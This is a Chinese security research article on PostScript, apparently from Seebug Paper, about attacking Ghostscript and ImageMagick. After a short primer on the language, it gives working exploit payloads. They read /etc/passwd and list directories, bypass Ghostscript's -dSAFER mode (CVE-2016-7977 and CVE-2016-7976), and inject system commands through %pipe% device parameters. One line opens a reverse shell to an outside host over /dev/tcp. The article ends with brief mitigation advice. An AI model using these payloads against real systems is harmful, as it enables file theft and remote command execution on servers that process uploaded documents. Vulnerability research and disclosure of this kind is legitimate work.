来源链接:http://drops.wiki/index.php/2016/10/15/postscript

Author:数据流(Flyin9_L)

前言:主流的东西太多了,还是研究一些非主流的语言好玩。PostScript(PS)是一种页面描述性语言,由Adobe开发,后由Apple推进发展。开始是应用于工业印刷绘图排版,现在广泛适用于打印机。虽然PostScript是比较冷门的语言,但与我们比较熟悉的PDF的部分元素也是由PostScript语言编写。利用PS的特性与弱点可对解析器与打印机进行攻击,而一些基础组件例如ImageMagick解析ps文件时会依赖外部解析器,所以也可对IM进行攻击。

0x00 PostScript语言入门

由于一般PS语言由机器自动生成,因此关于手写PS语言的资料非常罕见,只能从老外一些零星的资料与解析器的官方文档进行了解。这里我也顺便讲解下PS语言的基础,因为PS语言的中文资料寥寥无几。

用PS绘图,其实这语言都是绘图排版的。

(绘出Hello world)

因为PS是一种页面描述语言,关于绘图部分的基础我就不说了我也不了解。

解析器:Ghostscript,是可跨平台的PostScript语言解析器。可将PS语言绘图出来,PS与PDF互相转换,并带有命令行版本。现在Linux发行版本都会自带Ghostscript。

文件一般是.PS后缀,且文件头是%!PS,在PS中 %是注释符。

PostScript是一种基于堆栈的解释语言,而且操作符都是在后的。作为一名WEB狗表示不太习惯。

例:

求 1+2 ,在PS中表示 1 2 add

在解析器中,先把 2 1放进堆栈中,然后使用操作符 add使两者相加然后再把结果放入堆栈中。

== 表示将栈顶中的元素出栈并打印

PostScript最重要就是堆栈操作符:dup pop exch roll copy index

PS也支持定义过程,类似于function

我再举一个简单的例子:

%!PS

/test {pop dup sub 0 index mul} def

1 2 test ==

quit

最后结果是0

“/”是定义过程名称的符号,其他操作符熟悉其他语言的看字面都能猜出是什么作用了。在PS中过程不像我们其他语言一样直接跳到函数执行而是把位置替换而已。上面几行代码可以写成

1 2 pop dup sub 0 index mul ==

解析一下流程:1 2入栈,pop把2出栈,dup复制栈顶然后sub把两者相减,0 index 取栈堆上第0个元素并入栈,mul把栈顶两个元素相减,==打印栈顶元素并出栈。

pstack操作符可以打印当前栈的所有元素

这就是PostScript的基本语法,其他数据类型就不说了(这语言我也不精通啊)。

0x01 任意目录遍历/文件读取漏洞

虽然PostScript是页面描述语言,但也有自己的文件操作符,我们可以利用这个比较文件操作符do some bad。

不知道为何一个绘图排版打印用的语言也要提供如此丰富的文件操作符。

根据文档的文件操作符的关键字可以写出以下读取文件的代码:

%!PS

/buff 1024 string def              % 定义一个1024字节大小的空间

/file_obj (/etc/passwd) (r) file def

% 定义一个文件对象并读取/etc/passwd文件

file_obj buff readstring      %用readstring操作符把文件对象的数据放入buff

buff print

quit

当一些网站基于解析器解析ps或pdf并返回结果的话就会被读取文件。

目录遍历:

PostScript的filenameforall操作符可以使用通配符匹配文件 所以可以利用这个来遍历目录。

%PS

(/home/*) {==} 256 string filenameforall 

0x02 Ghostscript安全模式与ImageMagick影响

由于上述的问题,Ghostscript增加了安全模式。

启动时 加上参数 -dSAFER

Error: /invalidfileaccess in –file–

Operand stack:

   file_obj   (/etc/passwd)   (r)

Execution stack:

   %interp_exit

启动安全模式后,file系列操作符将被禁止,而在ImageMagick的PS解析器中是以安全模式启动的,所以无法直接使用以上payload进行攻击。但目录遍历可以。

使用ImageMagick套件的identify与convert都可以成功读取文件目录,当网站使用IM解析PS文件时并直接返回结果时就会出现风险

0x03 GhostScript安全模式绕过&ImageMagick远程文件读取漏洞

当GS开发了安全模式后,也不再承认那些类似的缺陷了。但PostScript原生有很多非主流的高级操作符,bypass轻轻松松。

前不久Google安全研究员taviso发现了利用.libfile可以用来bypass安全模式(膜拜google大神,之前本人因为研究PS与他相识并讨论过,本文绕过安全模式的漏洞成果都是出自于他)

CVE-2016-7977 .libfile bypass -dSAFER 文件读取漏洞

%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont
/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newlinea
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        dup         % copy read string
        print       % write to stdout
        % write to output
        newpath 0 0 moveto show showpage
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def
(/etc/passwd) /dumpname load 256 string filenameforall

这是taviso原来的payload,很复杂,他表示也非常讨厌这语言。但其实可以精简。

Taviso后来也精简了,最后我精简出最短payload

%!PS

(/etc/passwd) .libfile {

256 string readstring

} if

{print} if

quit

成功绕过安全模式读取文件

影响ImageMagick

IM最新版也影响

0x04 Bypass安全模式远程命令执行漏洞

前段时间的研究中我发现了一个远程命令执行漏洞

Ghostscript文档显示outputfile功能是使用popen函数处理,由于popen函数可以执行系统命令,所以可以直接注入命令。

(which opens a pipe on the given command. This is supported only on operating systems that provide popen (primarily Unix systems, and not all of those).

ghostscript -sDEVICE=pdfwrite -sOutputFile=%pipe%id 参数执行成功

尝试直接使用PS代码执行 这几行payload搞了我很久,PS语言确实太麻烦了。

Payload:

%!PS

mark

/OutputFile (%pipe%id)     %设置输出外部文件路径名注入命令

(pdfwrite)finddevice       % 使用pdfwrite驱动

putdeviceprops                           

setdevice                                       %设置完成并启动

quit

成功执行id命令,若要反弹shell就使用

%pipe%bash -i >& /dev/tcp/****.com/443 0>&1> /dev/tty.

当我兴高采烈去提交这个与其他一些问题后,官方给我回复说我们有安全模式,这些问题在安全模式是无法启用的。

Error: /invalidaccess in –setdevice–

Operand stack:

   –nostringval–

Execution stack:

   %interp_exit   .runexec2   –nostringval–   –nostringval–   —

在安全模式下,setdevice操作符被禁止了。但开启安全模式是用户选择的,我相信很多用户都没有用安全模式!只要你解析我的PS文件就shell了。

在这个时候taviso又绕过了安全模式,可以无视-dSAFER执行系统命令。

CVE-2016-7976 (他在9月份30号发现提交的)

绕过是原理还是使用了非主流的操作符,因为类似功能的操作符不止一个,但官方只禁止了常用的。

putdeviceparams

Payload:

%!PS

currentdevice null true mark /OutputICCProfile (%pipe%id > /dev/tty)

.putdeviceparams

quit

使用OutputICCProfile 代替了原本的OutputFile

putdeviceparams代替了putdeviceprops

OutputICCProfile这个关键字在官方文档并没有介绍的。。是从源代码翻出来的。

成功绕过安全模式执行系统命令。

虽然在Ghostscript能执行,但ImageMagick却不行。可理论上是会影响的,但不知道为何不能。Taviso也说不知道为何IM执行不了,或许是参数问题,总之也存在风险。我也试了好几个版本都不能执行,返回空白。希望更熟悉IM的朋友可以去尝试下。

0x05 总结&漏洞防御

本文我讲述了基于PostScript的基本语法与一些攻击方法,漏洞基本上都在解析器Ghostscript中,可导致远程命令执行,另外也会对ImageMagick造成一些影响。Ghostscript在linux发行版都会自带,建议有使用Ghostscript和ImageMagick对PS文件或者PDF文件进行处理的系统,请尽快到官方升级Ghostscript,开启-dSAFER安全模式。并请不要使用Ghostscript打开来比不明的.PS文件,需要进行格式转换的系统可对用户传入的文件进行对以上payload关键字拦截。

0x06 参考文献

https://en.wikipedia.org/wiki/PostScript

http://www.openwall.com/lists/oss-security/2016/09/30/8

http://bugs.ghostscript.com/

http://www.ghostscript.com/doc/

作者邮箱: FlyingLee95@gmail.com


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:http://paper.seebug.org/68/